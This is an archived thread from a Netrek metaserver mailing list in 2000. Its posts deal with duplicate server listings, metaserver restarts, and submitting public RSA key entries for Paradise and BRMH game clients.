Date: Wed Jan 12 00:53:26 2005
Subject: [META] Metaserver Dual Listing
Message-ID: <Pine.LNX.4.20.0007031031040.22599-100000@iat.yi.org>

Okay, I've been having problems with the metaserver listing my server
twice under two different names, which started after we moved because the
first box lagged badly and sucked ass in general. However, whenever we
send an update to metaserver from the new site, it thinks we are the old
site. It also lists both. Some guy on the newsgroup told me to send it
here.

I was told that if you send too many updates in too short of a time, the
server would delist you. I was contemplating trying this, except I wasn't
sure if it would be a permanent affliction. Anyway...

Contents of .metaservers file:
206.10.253.60 3521 60 900 yayislife.wox.org C 2592 2591 open
metaserver2.us.netrek.org 3521 60 900 yayislife.wox.org C 2592 2591 open
metaserver.eu.netrek.org 3521 60 900 yayislife.wox.org C 2592 2591 open

Somebody remove yayislife.dhs.org.


Received: from enchanter.real-time.com (IDENT:root@enchanter.real-time.com [206.10.252.9])
	by sprite.real-time.com (8.10.2/8.10.2) with ESMTP id e637Cdn31553
	for <metaserver@us.netrek.org>; Mon, 3 Jul 2000 02:12:39 -0500
Received: from smtp3.andrew.cmu.edu (SMTP3.ANDREW.CMU.EDU [128.2.10.83])
	by enchanter.real-time.com (8.10.1/8.10.2) with ESMTP id e637Cd331408
	for <metaserver@us.netrek.org>; Mon, 3 Jul 2000 02:12:39 -0500
Received: from unix12.andrew.cmu.edu (UNIX12.ANDREW.CMU.EDU [128.2.15.16])
	by smtp3.andrew.cmu.edu (8.9.3/8.9.3) with SMTP id DAA09822
	for <metaserver@us.netrek.org>; Mon, 3 Jul 2000 03:12:37 -0400 (EDT)
Date: Mon, 3 Jul 2000 03:12:37 -0400 (EDT)
From: Zachary Uram <zu22@andrew.cmu.edu>
To: metaserver@us.netrek.org
Message-ID: <Pine.SOL.3.96L.1000703031228.6943h-100000@unix12.andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [META] subscribe
Sender: vanilla-metaserver-admin@lists.real-time.com
Errors-To: vanilla-metaserver-admin@lists.real-time.com
X-BeenThere: vanilla-metaserver@lists.real-time.com
X-Mailman-Version: 2.0beta2
Precedence: bulk
List-Id: Netrek Server Metaserver Mailing List <vanilla-metaserver.lists.real-time.com>

subscribe


Received: from enchanter.real-time.com (IDENT:root@enchanter.real-time.com [206.10.252.9])
	by sprite.real-time.com (8.10.2/8.10.2) with ESMTP id e6380Dn31885
	for <vanilla-metaserver@us.netrek.org>; Mon, 3 Jul 2000 03:00:14 -0500
Received: from smtp2.andrew.cmu.edu (SMTP2.ANDREW.CMU.EDU [128.2.10.82])
	by enchanter.real-time.com (8.10.1/8.10.2) with ESMTP id e6380D331832
	for <vanilla-metaserver@us.netrek.org>; Mon, 3 Jul 2000 03:00:13 -0500
Received: from unix12.andrew.cmu.edu (UNIX12.ANDREW.CMU.EDU [128.2.15.16])
	by smtp2.andrew.cmu.edu (8.9.3/8.9.3) with SMTP id EAA10280
	for <vanilla-metaserver@us.netrek.org>; Mon, 3 Jul 2000 04:00:11 -0400 (EDT)
Date: Mon, 3 Jul 2000 04:00:12 -0400 (EDT)
From: Zachary Uram <zu22@andrew.cmu.edu>
To: vanilla-metaserver@us.netrek.org
Message-ID: <Pine.SOL.3.96L.1000703040003.6943j-100000@unix12.andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [META] subscribe
Sender: vanilla-metaserver-admin@lists.real-time.com
Errors-To: vanilla-metaserver-admin@lists.real-time.com
X-BeenThere: vanilla-metaserver@lists.real-time.com
X-Mailman-Version: 2.0beta2
Precedence: bulk
List-Id: Netrek Server Metaserver Mailing List <vanilla-metaserver.lists.real-time.com>

subscribe



From frankn at cs.vu.nl  Mon Jul  3 13:59:55 2000
From: frankn at cs.vu.nl (Frank Niessink)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] Metaserver Dual Listing
In-Reply-To: <Pine.LNX.4.20.0007031031040.22599-100000@iat.yi.org>; from norfleet@iat.yi.org on Mon, Jul 03, 2000 at 10:33:27AM -0400
References: <Pine.LNX.4.20.0007031031040.22599-100000@iat.yi.org>
Message-ID: <20000703205955.A25188@flits.cs.vu.nl>

On Mon Jul 03 10:33:27 2000, Milton Norfleet wrote:
> Okay, I've been having problems with the metaserver listing my server
> twice under two different names, which started after we moved because the
> first box lagged badly and sucked ass in general. However, whenever we
> send an update to metaserver from the new site, it thinks we are the old
> site. It also lists both. Some guy on the newsgroup told me to send it
> here.
> 
> I was told that if you send too many updates in too short of a time, the
> server would delist you. I was contemplating trying this, except I wasn't
> sure if it would be a permanent affliction. Anyway...

I think it is delisted temporarily. If I recall correctly, the only
way to get the server removed is if the metaserver maintainer stops
and starts the metaserver.

James, didn't you implement code that removed a server if it was longer
than 24 hours unavailable? (To answer my own question: I think not, I've 
never seen a server been removed automatically).

> Contents of .metaservers file:
> 206.10.253.60 3521 60 900 yayislife.wox.org C 2592 2591 open
> metaserver2.us.netrek.org 3521 60 900 yayislife.wox.org C 2592 2591 open
> metaserver.eu.netrek.org 3521 60 900 yayislife.wox.org C 2592 2591 open

Please remove metaserver.eu, it is no longer operational.

Cheers, Frank
-- 
"If I ever meet myself," said Zaphod, "I'll hit myself so hard I won't know
what's hit me."
	-- Douglas Adams, 'The Restaurant at the End of the Universe'

From miggy at web4ecom.com  Mon Jul  3 17:44:30 2000
From: miggy at web4ecom.com (Mark D)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] web4ecom listing
Message-ID: <Pine.BSO.4.10.10007031938400.27170-100000@aegis.web4ecom.com>

I terribly sorry about this, but I just changed the server category of
aegis.web4ecom.com from Bronco to Chaos (in response to criticism), and
unfortunately I've noticed the metaserver has listed both.  I would
greatly appreciate it if you removed the Bronco listing.  Sorry to bugger
this up just after your server reset....




From quozl at us.netrek.org  Mon Jul  3 19:20:14 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] Metaserver Dual Listing
In-Reply-To: <Pine.LNX.4.20.0007031031040.22599-100000@iat.yi.org>; from norfleet@iat.yi.org on Mon, Jul 03, 2000 at 10:33:27AM -0400
References: <Pine.LNX.4.20.0007031031040.22599-100000@iat.yi.org>
Message-ID: <20000704102014.K14758@us.netrek.org>

G'day Milton,

Duplicates will appear on the metaserver listing if you send an update
for the same host name from more than one address.  The sequence you
described; of setting up a box, then setting up another, but presumably
keeping the same host name, would generate this.

We fix it for the moment by restarting the metaserver.  We did that
yesterday, and again today.

Does it look right now?

Frank: yes there is code that should remove a server if it was given to
us by UDP packet update and it is uncontactable for a while.  I do not
recall the exact time.  I hope the code works.  It won't work in the
situation of two updates from two different IP addresses with the same
host, because the metaserver contacts the host by name not by IP.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From quozl at us.netrek.org  Mon Jul  3 19:21:19 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] web4ecom listing
In-Reply-To: <Pine.BSO.4.10.10007031938400.27170-100000@aegis.web4ecom.com>; from miggy@web4ecom.com on Mon, Jul 03, 2000 at 07:44:30PM -0300
References: <Pine.BSO.4.10.10007031938400.27170-100000@aegis.web4ecom.com>
Message-ID: <20000704102119.L14758@us.netrek.org>

No worries, Mark, I just restarted metaserver.us.netrek.org then.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From norfleet at iat.yi.org  Mon Jul  3 19:23:27 2000
From: norfleet at iat.yi.org (Milton Norfleet)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] Metaserver Dual Listing
In-Reply-To: <20000704102014.K14758@us.netrek.org>
Message-ID: <Pine.LNX.4.20.0007032022460.23316-100000@iat.yi.org>

Yep, looks good now. Dunno why, yayislife.dhs.org!=yayislife.wox.org.

But all is good again.

It is a good day for cheese.



From ahn at vec.wfubmc.edu  Thu Jul 13 20:21:36 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] paradise key cleanup
Message-ID: <20000713212136.A76212@cecum.vec.wfubmc.edu>

Carlos,

Please remove the following Paradise client keys from the metaserver:

paradise.thoth.linux-R5
paradise.glamm.IRIX5
paradise.mmead.FreeBSD
paradise.glamm.LinuxR6
paradise.freebsd.i386
linux_paradise
TedTurner-sgi-irix32
TedTurner-sgi-irix64
paradise.edorman.IRIX6

Please add the following keys:

paradise2-intel-freebsd:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=i386/FreeBSD 4.0:cl=paradise2,inl\
   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
   :gk=5da5bb61455e40ba63dc6da3da95ecb665def0a07db44bb64e3f1d154b88081c:\
   :pk=c7d8f6983492bb0a86d1a23ed0447868d0608953666eecf08de86e0a51e5d114:
paradise2-intel-linux:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=i386/Linux 2.2:cl=paradise2,inl\
   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
   :gk=39bc1defd32c8f997baf6fc38154e1a404c217606f97a02df5b7586e77d17d3f:\
   :pk=5f065909074852dcbaaf3e15a5a3474f8968e7924a87449e00786624216b2731:
paradise2-sgi-irix32:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=SGI/IRIX 6.2:cl=paradise2,inl\
   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
   :gk=97f42d56c47f0107c99b93f9469dfb6cd1923cfdc8580da4d735368201ecdf33:\
   :pk=436356d66d617b3443a01ac6e68e70fb8ac411dfe771ba48f6a7ed6020ac8523:
paradise2-sgi-irix64:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=paradise2,inl\
   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
   :gk=f7fdffd5514e4e858a59a9855e262fd89eb7fa5743d88ab423e3c82a0e15af09:\
   :pk=0be40315854a2898faea9bc2e9f89ffd6bed79cd4c4d9de3466712eb1dcb4f04:

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From ahn at vec.wfubmc.edu  Thu Jul 13 20:52:02 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] Re: paradise key cleanup
In-Reply-To: <20000713212136.A76212@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Thu, Jul 13, 2000 at 09:21:36PM -0400
References: <20000713212136.A76212@cecum.vec.wfubmc.edu>
Message-ID: <20000713215202.A76274@cecum.vec.wfubmc.edu>

Please also add:

paradise2-sparc-solaris:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=Sparc/Solaris 2.7:\
   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
   :gk=8d089f9b913a733459282553420e9c7e1b0e46cc04d1817a02ff471e4309cb3d:\
   :pk=b73e71103c8132cc56c5d4044f734d7dfe93a43633b2fdba533565669b56401c:
-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From miggy at web4ecom.com  Sat Jul 15 11:42:32 2000
From: miggy at web4ecom.com (Mark D)
Date: Wed Jan 12 00:53:26 2005
Subject: [META] OpenBSD RSA client
Message-ID: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com>

Hi,

I've compiled an RSA aware, BRMH client for OpenBSD Sparc.  According to
Tom Holub's posting on R.G.N. I'm suppose to submit a key to you, and I
was hoping to get further instructions.  As I understand it, there are
suppose to be public/private keys and I have the key I generated with
mkkey before I compiled the client.  What exactly is it that I am suppose
to submit?  I'd like to generate clients for OBSD on some other
architectures as well ...

Thanks for any help you can offer ...




From tanner at real-time.com  Sat Jul 15 15:00:22 2000
From: tanner at real-time.com (Bob Tanner)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] OpenBSD RSA client
In-Reply-To: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com>; from miggy@web4ecom.com on Sat, Jul 15, 2000 at 01:42:32PM -0300
References: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com>
Message-ID: <20000715150022.A25359@real-time.com>

Quoting Mark D (miggy@web4ecom.com):
> Hi,
> 
> I've compiled an RSA aware, BRMH client for OpenBSD Sparc.  According to
> Tom Holub's posting on R.G.N. I'm suppose to submit a key to you, and I
> was hoping to get further instructions.  As I understand it, there are
> suppose to be public/private keys and I have the key I generated with
> mkkey before I compiled the client.  What exactly is it that I am suppose
> to submit?  I'd like to generate clients for OBSD on some other
> architectures as well ...
> 
> Thanks for any help you can offer ...

Carlos are you still around or do you want me to do this?
-- 
Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
http://www.mn-linux.org                 | Fax   : (612)943-8500
Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 


From unbelver at brain.jpl.nasa.gov  Sat Jul 15 15:59:43 2000
From: unbelver at brain.jpl.nasa.gov (Carlos Y. Villalpando)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] OpenBSD RSA client
In-Reply-To: <20000715150022.A25359@real-time.com>; from tanner@real-time.com on Sat, Jul 15, 2000 at 03:00:22PM -0500
References: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com> <20000715150022.A25359@real-time.com>
Message-ID: <20000715135943.B24459@brain.jpl.nasa.gov>

Quoting Bob Tanner <tanner@real-time.com>:

> Carlos are you still around or do you want me to do this?

Sorta.  I was on travel last week and again next week.  Who says what
goes for BRMH?  I have Tedd Hadley listed as maintainer for BRMH.  I
would assume that's defunct.

--Carlos V.

From ahn at vec.wfubmc.edu  Sat Jul 15 16:07:07 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] OpenBSD RSA client
In-Reply-To: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com>; from miggy@web4ecom.com on Sat, Jul 15, 2000 at 01:42:32PM -0300
References: <Pine.BSO.4.10.10007151326180.22349-100000@aegis.web4ecom.com>
Message-ID: <20000715170707.A88218@cecum.vec.wfubmc.edu>

BRMH is maintained by Karthik Arumugham karthik@arumugham.com.  You will
need to talk to him first.

Then you will need to submit the public key file generated by mkkey.
There should be two plain text files named something like
"brmh-sparc-openbsd" and "brmh-sparc-openbsd.secret".  Send a copy of the
"brmh-sparc-openbsd" file (not the secret file) to this list.  Also
upload the static and dynamic BRMH binaries to
ftp://ftp.netrek.org/pub/netrek/incoming/ and email me (ahn@vec.wfubmc.edu)
the MD5 checksums.

COW is maintained by Kurt Siegl (http://cow.netrek.org).

Paradise/TedTurner are maintained by me.  Contact me via personal email
if you want to build those clients.

On Sat, Jul 15, 2000 at 01:42:32PM -0300, Mark D wrote:
> Hi,
> 
> I've compiled an RSA aware, BRMH client for OpenBSD Sparc.  According to
> Tom Holub's posting on R.G.N. I'm suppose to submit a key to you, and I
> was hoping to get further instructions.  As I understand it, there are
> suppose to be public/private keys and I have the key I generated with
> mkkey before I compiled the client.  What exactly is it that I am suppose
> to submit?  I'd like to generate clients for OBSD on some other
> architectures as well ...
> 
> Thanks for any help you can offer ...
> 
> 
> 
> _______________________________________________
> Vanilla-metaserver mailing list
> Vanilla-metaserver@lists.real-time.com
> https://mailman.real-time.com/mailman/listinfo/vanilla-metaserver

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From ahn at vec.wfubmc.edu  Thu Jul 20 16:20:02 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] Re: paradise key cleanup
In-Reply-To: <20000713215202.A76274@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Thu, Jul 13, 2000 at 09:52:02PM -0400
References: <20000713212136.A76212@cecum.vec.wfubmc.edu> <20000713215202.A76274@cecum.vec.wfubmc.edu>
Message-ID: <20000720172002.A97105@cecum.vec.wfubmc.edu>

Carlos,

It looks like there are a couple of typos in the key ring (my fault).
Please fix up the paradise2-* keys so that they are correct.

The first four keys should have the line ending in
	cl=paradise2,inl\
changed to
	cl=paradise2,inl:\

The paradise2-sparc-solaris key is missing
	cl=paradise2,inl:\

Thanks,
Dave

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From ahn at vec.wfubmc.edu  Thu Jul 20 23:17:39 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] BRMH keys
In-Reply-To: <20000720172002.A97105@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Thu, Jul 20, 2000 at 05:20:02PM -0400
References: <20000713212136.A76212@cecum.vec.wfubmc.edu> <20000713215202.A76274@cecum.vec.wfubmc.edu> <20000720172002.A97105@cecum.vec.wfubmc.edu>
Message-ID: <20000721001739.A102728@cecum.vec.wfubmc.edu>

Carlos,

Please add two new BRMH keys:
brmh-sgi-irix32:ct=BRMH 2.4:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=SGI/IRIX 6.2:cl=inl,standard2:\
   :cm=ftp://ftp.netrek.org/pub/netrek/clients/brmh/:\
   :gk=a9d57932978e56c90992953c3711ba2d21f35f0a76405388181bf445609fbd0b:\
   :pk=a30396f02e4072d2596a89b5dbcebeaf44ac914210191796b4276aa68c9cc709:
brmh-sgi-irix64:ct=BRMH 2.4:cr=Dave Ahn <ahn@users.sourceforge.net>:\
   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=inl,standard2:\
   :cm=ftp://ftp.netrek.org/pub/netrek/clients/brmh/:\
   :gk=e594818e4f8d6b3f8064c4b03c585b3774b9115911d959fb47f9394bff30932f:\
   :pk=eb05fb21319e748eb29b06f8e627af8c5e4f3daa8e85c85209797ccada8afd09:

Thanks,
Dave

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From miggy at web4ecom.com  Sat Jul 22 11:22:33 2000
From: miggy at web4ecom.com (Mark D)
Date: Wed Jan 12 00:53:27 2005
Subject: [META] OpenBSD BRHM public RSA keys
Message-ID: <Pine.BSO.4.10.10007221316580.32080-101000@aegis.web4ecom.com>

Greetings,

I've compiled and submitted BRMH clients for OpenBSD Sparc and Intel to
netrek.org.  The public keys are tagged on to this message.

Cheers ....

-------------- next part --------------
A non-text attachment was scrubbed...
Name: brmh_obsd_key.tgz
Type: application/octet-stream
Size: 445 bytes
Desc: 
Url : http://shadowknight.real-time.com/pipermail/netrek-dev/attachments/20000722/8d08b320/brmh_obsd_key.obj